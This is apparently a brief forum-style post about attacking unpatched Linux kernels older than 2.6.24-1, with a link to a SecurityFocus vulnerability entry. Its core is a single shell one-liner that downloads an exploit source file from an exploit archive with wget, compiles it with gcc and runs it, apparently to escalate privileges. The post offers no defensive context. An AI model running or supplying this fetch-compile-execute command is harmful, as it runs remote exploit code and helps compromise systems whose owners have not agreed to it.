This works on unpatched kernels prior to 2.6.24-1.

wget --quiet http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c; gcc 27704.c; ./a.out

http://www.securityfocus.com/bid/27704/discuss